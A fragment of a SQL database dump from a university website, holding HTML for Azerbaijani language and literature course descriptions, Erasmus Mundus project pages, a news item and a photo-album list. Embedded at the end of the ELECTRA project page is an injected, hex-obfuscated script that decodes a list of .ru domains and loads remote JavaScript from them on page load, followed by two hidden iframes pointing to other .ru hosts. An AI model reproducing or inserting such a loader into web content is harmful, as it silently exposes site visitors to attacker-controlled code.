serif;font-size:medium\"><strong>AZLL 106: Modern Azerbaijani Language 1 (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course discusses the sound system, phonetic phenomenon and rules of Azerbaijan literary language. It explains pronunciation norms, formation and type of writing, peculiarities of alphabet, vocabulary structure and its richness, features and the ways of development. Information is given about principles used in the orthography of Azerbaijani. The characteristic meaning of words, types of proper names, and their origin and usage in Azerbaijani literary language are elucidated in this course. It also gives information about the dictionary and its various types, rules of dictionary compilation, and ways of word-building in the literary language.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 107-307: History of Azerbaijani Literature 1-5</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the emergence and evolution of the Azerbaijani literature from the times of early folklore literature up to the present in chronological order and through the stages of its development. The life and works of individual writers and poets who lived in different periods are studied, their literary activities are explored, national and global issued on which they focused are analyzed, the literary influences of a writer/poet on others are determined, and their creative activities are systemized in line with the historical period they lived. Central to the coursework is the study of selected pieces of literary work by the students and discussions on these works. The course is divided into the following 5 parts – each part lasts one semester and consists of&nbsp;<strong>3 credits</strong>:</p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 107: History of Azerbaijani Literature 1:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;Azerbaijani Folklore</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 109: History of Azerbaijani Literature 2:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;Ancient and Medieval Literature Prerequisite: AZLL 107</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 207: History of Azerbaijani Literature 3:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Azerbaijani Literature from 17<sup>th</sup>&nbsp;to mid-19<sup>th</sup>&nbsp;centuries&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 109.</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 208: History of Azerbaijani Literature 4:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Azerbaijani Literature from mid-19<sup>th</sup>&nbsp;to early 20<sup>th</sup>&nbsp;centuries</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 207</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 307: History of Azerbaijani Literature 5:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>20<sup>th</sup>&nbsp;century Azerbaijani Literature Prerequisite: AZLL 208</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 108: Modern Azerbaijani Language 2 – Morphology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 106</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">All important practical problems concerning morphology are covered in the teaching of this subject. This curriculum analyzes the modern Azerbaijani grammatical system, its originality and other features. The words are grouped according to their meaning, form, function and rules of modification.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 205: Advanced Azerbaijani Literature (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 105</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course aims at giving optimal knowledge on advanced Azerbaijani Literature. It covers the latest Azerbaijani Literature, development of journalistic genres, searches for new forms and contents in literature. The course also includes written and oral compositions on the bases of classic and modern literary extracts.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 206: Modern Azerbaijani Language 3 – Syntax (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 108</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">It explains teaching of word combinations, syntactic relations, sentences, and their structural types. It also deals with punctuation marks and their proper use.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 306: History of Azerbaijani Literary Language (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 206</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course explores the main sources of Azerbaijani language history and its origin, the rise of literary language, and problems extant in development periods. It also surveys the historical and cultural conditions of the different periods. The role of outstanding personalities related to the developmental history of Azerbaijan literary language is given in chronological order.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 416: Fundamentals of Literary Critics (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Fundamentals of Literary Critics as a subject is composed of three parts: Theory of Literature, History of Literature, and Literary Critique. This course mainly deals with issues covered in the Theory of Literature. Features of literary works and principles of reflecting real-life events, as well as the social importance and role of literary works are studied. The course also covers such topics as principles of literary creativity and rules of their development, unity of content and form, characteristics of different types and genres, structures of literary works, styles and methods, etc.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 417: The Environment of Eastern Languages and Azerbaijani Literature (4 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The main objective of this course is to study role of Arabic and Persian rules of writing and literature in the formation of Azerbaijani rules of writing and literature.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 512: Azerbaijani Dialectology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dialectology (dialects) and accents are constructed in this section of linguistics. This course explains the phonetic, lexical, morphological and syntactical properties of dialects and accents. It also provides an extensive classification of Azerbaijani dialects and accents on the principles of geographical territory and investigates the theoretical issues of dialectology.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 513: Onomastics (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: Consent of instructor</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The types of special names in language, their origin and use are elucidated in the course. It gives information about scientific classification and descriptions of all kinds of onomastic units.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 514: Textual Criticism (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: Consent of instructor</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Complex investigation of the historical roots and development of ways of textual criticism as a science, as well as modern textual criticism, its methods and principles are pursued in this course. The emergence and development of Azerbaijani textual criticism, Azerbaijani Middle Age manuscript books and booklets, scientific analyses of the manuscript text copies, exploration of text origins, attribution of the text (the determination of the author), research of text translations, text preparation for publications and etc. are comprehensively enlightened.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 515: Azerbaijani Historical Grammar (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course provides general information about historical grammar, discusses the developmental processes of separate parts of speech, investigates historical Azerbaijani&nbsp;phonetics and morphology, analyses the origin of the language and historical development of its morphological features, and explains and elucidates the establishment of the modern language.</p>  <br></div>'),(1258,795,'en',' ELECTRA',' ELECTRA','<div><br></div><div><p><strong>ELECTRA: Enhancing Learning in ENPI Countries Through Clean Technologies and Research-related Activities</strong></p><p><strong><strong>Start Date:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      October, 2012  </span><br></strong></p><p><strong><strong>Duration:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      48 months  </span></strong></p><p><strong>Brief information and main objectives:</strong>  <br></p><p>ELECTRA is a project proposal that enhances quality in higher education and&nbsp;promotes intercultural understanding through research co-operation with third countries, particularly in the fields of energy, environment and industrial applications. The project is coordinated by Oldenburg University who has been partner member in Erasmus Mundus projects since 2010 and coordinator of a running Tempus project with ENPI countries. All corners of Europe are represented, from Portugal to the Baltic countries passing by Ireland, Germany to Bulgaria. In ENPI countries, capitals and regions are represented as well (like Batumi, Odessa, Zaporizhzhya).</p><p>Special attention is given to the roles of associated partners including research centers, ministries of&nbsp;education, association of universities in both ENPI and Europe, quality assurance agencies and&nbsp;environmental agencies in third countries.</p><p>During the lifespan of the project, selected candidates will be trained and formed in a variety of universities with large experience in exchange mobility, campus of excellence in targeted areas, and with the possibility of practical internships in numerous programs.By improving the skills of present and future engineers, environmentalists, policy makers in energy, soil and water management and related areas, while encouraging employability and avoiding brain drain, ELECTRA expects to contribute positively to the local and regional development of ENPI countries. Multi-country initiatives are sought too.</p><p>ELECTRA is a project that attempts to bring closer cooperation between EU and&nbsp;ENPI countries so as to increase research and produce multiplier effects in areas related to Green&nbsp;Energy, Environment and Sustainable Development. These are the three main areas of action within&nbsp;the European COST network.</p><p>Likewise, the project will reinforce educational, cultural, scientific and technological links between&nbsp;partners while implementing EHEA tools and mechanisms that promote transparency and recognition of studies abroad.</p><p><strong>Other specific objectives of the project are:</strong></p><ul><li>Promotion of the knowledge-based triangle science-enterprise-university by targeting applied research&nbsp;in the PhD and post-doc proposals;</li></ul><ul><li>Integration of Bologna educational system and Lisbon Strategy in Central Asian partner institutions&nbsp;with support of Ministries of Education&nbsp;</li></ul><ul><li>Contribution to the development of qualification frameworks in priority field areas</li></ul><ul><li>Contribution to lifelong learning and employability of students.</li></ul><p><strong>Coordinator and partners:</strong>&nbsp;</p><p><strong>Coordinator:</strong></p><p><a href=\"http://www.uni-oldenburq.de/\">Oldenburg University</a></p><p><strong>Joint Coordinator:</strong></p><p><a href=\"http://www.iliauni.edu.ge/\">Ilia State University</a></p><p><strong>Partners:</strong></p><p><a href=\"http://www.upv.es/\">Politechnico de Valencia</a></p><p><a href=\"http://www.polito.it/\">Politechnico di Torino</a></p><p><a href=\"http://www.ul.ie/\">Limerick University</a></p><p><a href=\"http://www.uminho.pt/\">Universidade do Minho</a></p><p><a href=\"http://www.oulu.fi/\">Oulu University</a></p><p><a href=\"http://www.uj.edu.pl/\">Jagiellonian University</a></p><p><a href=\"http://www.uctm.edu/\">University of Chemical Technology and Metallurgy</a></p><p><a href=\"http://www.tsu.edu.ge/\">Tbilisi State University</a></p><p><a href=\"http://bsu.edu.ge/\">Batumi Shota Rusteveli State University</a></p><p><a href=\"http://www.bsu.by/\">Belarusian State University</a></p><p><a href=\"http://www.bsu.edu.az/\">Baku State University</a></p><p><a href=\"http://www.opu.ua/\">Odessa Technological University</a></p><p><a href=\"http://www.univ.kiev.ua/\">Kyiv National Taras Shevchenko University</a></p><p><a href=\"http://www.znu.edu.ua/\">Zaporizhzhya National University</a></p><p><a href=\"http://www.bntu.by/\">Belarusian Technical University</a></p>  <p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p><strong>Contact:</strong>  <br></p><p><strong>Hassan Niknafs :&nbsp;hniknafs@khazar.org</strong></p><p><strong>Shabnam Najafzadeh:&nbsp;snajafzadeh@khazar.org</strong></p><p><strong>Useful links:</strong>  <br></p><p><a href=\"http://www.electra-project.eu/\" target=\"_blank\">http://www.electra-project.eu/</a>&nbsp;</p></div>  <script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(1259,794,'en','Ember','Ember','<p><strong>EMBER</strong><strong>:&nbsp;</strong><strong>Erasmus Mundus Broadening Educational Experiences</strong></p><div><p><strong><strong><strong>Start Date:</strong>&nbsp; September, 2013</strong>  <br></strong></p><p><strong><strong>Duration:</strong>&nbsp;&nbsp;<strong>48 months</strong>  <br></strong></p><p><strong>Brief information and main objectives:</strong>  <br></p><p>The project Erasmus Mundus Broadening Educational Experiences (EMBER) is an Erasmus Mundus Action 2 (EMA2) consortium that comprises</p><p>twenty partner higher education institutions and four associated&nbsp;</p><p>partners from Western/Central/Eastern Europe all the way to the South Caucasus. The consortium includes institutions from all five of the&nbsp;</p><p>Lot 5 countries targeted by the Eastern</p><p>Neighbourhood and Partnership Instrument (ENPI).<br><br>EMBER concerns itself specifically with the Thematic Fields of Economics, Business, Languages, and Sociology. The project envisages a total of 173 mobilities</p><p>to be completed over three cohorts,&nbsp;</p><p>148 mobilities are to 3rd Country Partners, and 25 mobilities to its European Partners.</p><p>Project Management:</p><p><strong>Coordinator:</strong>&nbsp;The Project Coordinator manages the administrative, legal and financial matters of the Partnership and is responsible&nbsp;</p><p>for all contacts with the EACEA.&nbsp;</p><p>The Coordinator shall report to the Partners in such a way that these have full insight into the administrative, legal and financial matters.</p><p><strong>Co-Coordinator:</strong>&nbsp;The role and contribution of the co-coordinator is joint coordination and management tasks of the partnership relating to&nbsp;</p><p>academic, administrative and financial aspects.&nbsp;</p><p>The co-coordinator will put forward best practices and experience, its institutional capacity and knowledge to fulfill the specific tasks to&nbsp;</p><p>ensure outreach, visibility, and performance of the project.</p><p><strong>Partners:</strong>&nbsp;All Project Partners commit to plan and organize their respective activities within the programme and specifically the promotion&nbsp;</p><p>of individual mobility from their university&nbsp;</p><p>according to the general principles decided by the Project Management Board.&nbsp;</p><p><strong>Associate Partners:</strong>&nbsp;The Associate Partners were selected in order to maximize the impact of the expected results of the project.</p><p>In addition to that the associated partners</p><p>will support the promotion of the project in terms of dissemination information material and to communicate the objectives to interested persons.</p><p>Project Management Board:</p><p>Coordinator (University of Seville),</p><ul><li>Co-Coordinator (Tbilisi State University)</li></ul><p>Responsibilities&nbsp;:</p><p>Project Oversight</p><ul><li>Delegating responsibilities to EMBER Project Representatives</li></ul><p>Selection Board&nbsp;:&nbsp;</p><p>Permanent Members: Coordinator + Co-Coordinator</p><ul><li>Temporary Members: 3 EU Partners +1 Third Country Partner</li></ul><p>Responsibilities&nbsp;:<br>Responsible for the selection process.</p><p>Quality Assurance Board&nbsp;:&nbsp;<br>Permanent Members: Coordinator + Co-Coordinator</p><ul><li>Permanent Members: 1 EU Partners +1 Third Country Partner</li></ul><p>Responsibilities&nbsp;:<br>Collect and compile an executive summary of internal quality assurance materials.</p></div><p><strong>Coordinator and partners:</strong>&nbsp;</p><p><strong>Coordinator:</strong></p><p><strong></strong><a href=\"http://www.us.es/eng\" target=\"_blank\">University of Seville</a></p><p><a href=\"http://www.us.es/eng\" target=\"_blank\"></a><strong>Co-Coordinator:</strong></p><p><strong></strong><a href=\"http://www.tsu.edu.ge/en\" target=\"_blank\">Ivane Javakhishvili Tbilisi State University</a>&nbsp;</p><p><strong>Partners:</strong></p><p><strong></strong><a href=\"http://www.ttu.ee/en\" target=\"_blank\">Tallinn University of Technology</a></p><p><a href=\"http://www.ttu.ee/en\" target=\"_blank\"></a><a href=\"http://www.vu.lt/en\" target=\"_blank\">Vilnius University</a></p><p><a href=\"http://www.vu.lt/en\" target=\"_blank\"></a><a href=\"http://www.liu.se/?l=en\" target=\"_blank\">Linkoping University</a></p><p><a href=\"http://www.liu.se/?l=en\" target=\"_blank\"></a><a href=\"http://www.mah.se/english\" target=\"_blank\">Malmo University</a></p><p><a href=\"http://www.mah.se/english\" target=\"_blank\"></a><a href=\"http://www.unive.it/nqcontent.cfm?a_id=10497\" target=\"_blank\">Ca Foscari University of Venice</a></p><p><a href=\"http://www.unive.it/nqcontent.cfm?a_id=10497\" target=\"_blank\"></a><a href=\"http://www.unisa.it/english/index\" target=\"_blank\">University of Salerno</a></p><p><a href=\"http://www.unisa.it/english/index\" target=\"_blank\"></a><a href=\"http://iso.uni.lodz.pl/\" target=\"_blank\">University of Lodz</a></p><p><a href=\"http://iso.uni.lodz.pl/\" target=\"_blank\"></a><a href=\"http://www.uni-jena.de/en/start.html\" target=\"_blank\">Friedrich-Schiller University of Jena</a></p><p><a href=\"http://www.uni-jena.de/en/start.html\" target=\"_blank\"></a><a href=\"http://unik.edu.ge/index.php?page=home\" target=\"_blank\">Kutaisi University</a></p><p><a href=\"http://unik.edu.ge/index.php?page=home\" target=\"_blank\"></a><a href=\"http://www.zssu.ge/zssu/en\" target=\"_blank\">Shota Meskhia State Teaching University of Zugdidi</a></p><p><a href=\"http://www.zssu.ge/zssu/en\" target=\"_blank\"></a><a href=\"http://www.ysu.am/main/en\" target=\"_blank\">Yerevan State University</a></p><p><a href=\"http://www.ysu.am/main/en\" target=\"_blank\"></a><a href=\"http://anau.am/en\" target=\"_blank\">Armenian National Agrarian University</a></p><p><a href=\"http://anau.am/en\" target=\"_blank\"></a><a href=\"http://www.khazar.org/v7732/Ember/khazar.org\" target=\"_blank\">Khazar University</a></p><p><a href=\"http://www.khazar.org/v7732/Ember/khazar.org\" target=\"_blank\"></a><a href=\"http://www.adu.edu.az/index.php?lang=en\" target=\"_blank\">Azerbaijan University of Languages</a></p><p><a href=\"http://www.adu.edu.az/index.php?lang=en\" target=\"_blank\"></a><a href=\"http://dsum.edu.ua/en/\" target=\"_blank\">Donetsk State University of Management</a></p><p><a href=\"http://dsum.edu.ua/en/\" target=\"_blank\"></a><a href=\"http://www.lac.lviv.ua/\" target=\"_blank\">Lviv Academy of Commerce</a></p><p><a href=\"http://www.lac.lviv.ua/\" target=\"_blank\"></a><a href=\"http://www.brsu.by/en/\" target=\"_blank\">Brest State University</a></p><p><a href=\"http://www.brsu.by/en/\" target=\"_blank\"></a><a href=\"http://www.kdu.md/en/\" target=\"_blank\">Comrat State University</a>&nbsp;</p><p><strong>Associate Partners:</strong></p><p><strong></strong>\"YERJANIK\" Childrens Charity Organization</p><p><a href=\"http://www.lcci.com.ua/\">Lviv Chamber of Commerce and Industry</a></p><p><a href=\"http://www.lcci.com.ua/\"></a><a href=\"http://lv.niss.gov.ua/\">National Institute for Strategic Studies</a></p><p><a href=\"http://lv.niss.gov.ua/\"></a><a href=\"http://iierlviv.wordpress.com/\">Institute of International Economic Research</a></p><p><a href=\"http://iierlviv.wordpress.com/\"></a><strong>Contact:</strong>&nbsp;</p><p><strong>Turan Jafarova:&nbsp;<a href=\"mailto:tjafarova@khazar.org\">tjafarova@khazar.org</a></strong>&nbsp;</p><p><strong>Useful links:</strong>&nbsp;<strong><a href=\"http://ember.us.es/\" target=\"_blank\">http://ember.us.es/</a></strong>&nbsp;</p>'),(2032,1233,'en','Julia Krajcarz Makes a Gift of Book to the Department of Azerbaijani Language and Literature ','On June 24, 2016, Julia Krajcarz, visiting researcher from Poland who is learning the Azerbaijani language and culture in the Department...','<p>On June 24, 2016, Julia Krajcarz,\r\nvisiting researcher from Poland who is learning the Azerbaijani language and\r\nculture in the Department of Azerbaijani Language and Literature made a gift of\r\na book she had written together with <a href=\"http://www.goodreads.com/author/show/4716420.Ewa_Siemieniec_Golas\">Ewa Siemieniec-Golas</a>&nbsp; “The\r\nMosques of İstanbul”.&nbsp; The book covers\r\nthe history of establishment of mosques, and information about religious\r\nmonuments as well.</p>'),(1260,797,'en','Previous Projects','Previous Projects','<p><strong>Previous Erasmus Mundus Projects</strong></p><p><strong>Title: &nbsp;&nbsp;Erasmus Mundus Action 2 Partnerships</strong></p><p><strong>Duration:&nbsp;2007-2011&nbsp;</strong></p><p><strong>Discription:&nbsp;</strong>The ATEI of Thessaloniki has been coordinating two (2) Erasmus Mundus projects for S. Caucasus since 2007. The Erasmus Mundus Action 2 - LOT 6 (previously ECW LOT 5) project is addressed to Armenia, Georgia and Azerbaijan.</p><p><strong><strong>Main objectives:</strong>&nbsp;<br></strong></p><p>To give the opportunity for mobility to beneficiaries from all levels of higher education between Europe (EU) and South Caucasus (SC) and offer them contemporary training programmes, qualifications and experience,thus, contributing to their educational, managerial and cultural enhancement, as well as to the amelioration of their socioeconomic environment</p><p>To provide education, access to new technologies and support of every kind to disabled students, as well as to vulnerable groups&nbsp;&nbsp;<br></p><p>To enhance the international cooperation capacity and human resources development of the S. Caucasian partner Universities&nbsp;<br></p><p>To create sustainable educational, cultural and economic links among the Institutions and countries of Europe and S. Caucasus&nbsp;<br></p><p>To facilitate towards the development of entrepreneurship opportunities between the EU and SC private sector&nbsp;<br></p><p>To contribute to long term sustainable&nbsp;development in S. Caucasus and offer assistance towards the improvement of the local economies&nbsp;</p><p>Coordinator University:&nbsp;&nbsp;<strong><a href=\"http://www.teithe.gr/\">Alexander Technological Educational Institution of Thessaloniki</a></strong>&nbsp;</p>'),(2955,1753,'az','May','May','<p>27.05.2016 Simulation game&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1229578317052571\" target=\"_blank\">FOTO</a>)<br></p><p>28.05.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1229521597058243\" target=\"_blank\">FOTO</a>)<br></p><p>27.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1227178080625928\" target=\"_blank\">FOTO</a>)<br></p><p>27.05.2016 \"SourceGrab\" saytının təqdimatı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1227104660633270\" target=\"_blank\">FOTO</a>)<br></p><p>27.05.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1227028747307528\" target=\"_blank\">FOTO</a>)<br></p><p>25 05 2016 arxeologiya jurnalinin redkolleksiyasi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1227018897308513\" target=\"_blank\">FOTO</a>)<br></p><p>25.05.2016 Dağlıq Qarabağ münaqişəsinin həllində simulyasiya&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1225913737419029\" target=\"_blank\">FOTO</a>)<br></p><p>25.05.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1225912414085828\" target=\"_blank\">FOTO</a>)<br></p><p>24.05.2016&nbsp;Avrasiya bilik mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1225262477484155\" target=\"_blank\">FOTO</a>)<br></p><p>23.05.2016 Avrasiya bilik mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1224545217555881\" target=\"_blank\">FOTO</a>)<br></p><p>21.05.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1224542344222835\" target=\"_blank\">FOTO</a>)<br></p><p>21.05.2016 Avrasiya Bilik Mərkəzi İşini başladı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1224540067556396\" target=\"_blank\">FOTO</a>)<br></p><p>21.05.2016 Potensial Direktor IV&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1223303734346696\" target=\"_blank\">FOTO</a>)<br></p><p>20.05.2016 Malaziyanın Azərbaycandakı səfiri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1222635177746885\" target=\"_blank\">FOTO</a>)<br></p><p>19.05.2016 Mustafa Aydınla görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1222162461127490\" target=\"_blank\">FOTO</a>)<br></p><p>19.05.2016&nbsp;Nigar ad günü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1222092134467856\" target=\"_blank\">FOTO</a>)<br></p><p>17.05.2016 Kəmaləddin Qədimovla görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1221989734478096\" target=\"_blank\">FOTO</a>)<br></p><p>18.05.2016 Potensial direktorlar&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1221535201190216\" target=\"_blank\">FOTO</a>)<br></p><p>16.05.2016 debat Bəşir Səfəroğlu&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1220822291261507\" target=\"_blank\">FOTO</a>)<br></p><p>13.05.2016 Science Direct numayendesi xezerde&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1218371941506542\" target=\"_blank\">FOTO</a>)<br></p><p>13.05.2016 ESFIDIP&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1218367334840336\" target=\"_blank\">FOTO</a>)<br></p><p>13.05.2016 Potensial direktorlar IV&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1218364258173977\" target=\"_blank\">FOTO</a>)<br></p><p>12.05.2016 Ali Ağzani Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217712348239168\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 Potensial Direktorlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217144391629297\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 Səhənd Universitetinin nümayəndələri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217073798303023\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 Pakistan səfiri Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217072721636464\" target=\"_blank\">FOTO</a>)<br></p><p>11.06.2016 Mektebliler&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217054104971659\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 Hasan Niknafs&nbsp;Iranli qonaqlar ile gorüş (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217053868305016\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 H. Isaxanli Iranli qonaglar gorüş (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217053361638400\" target=\"_blank\">FOTO</a>)<br></p><p>07.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217052228305180\" 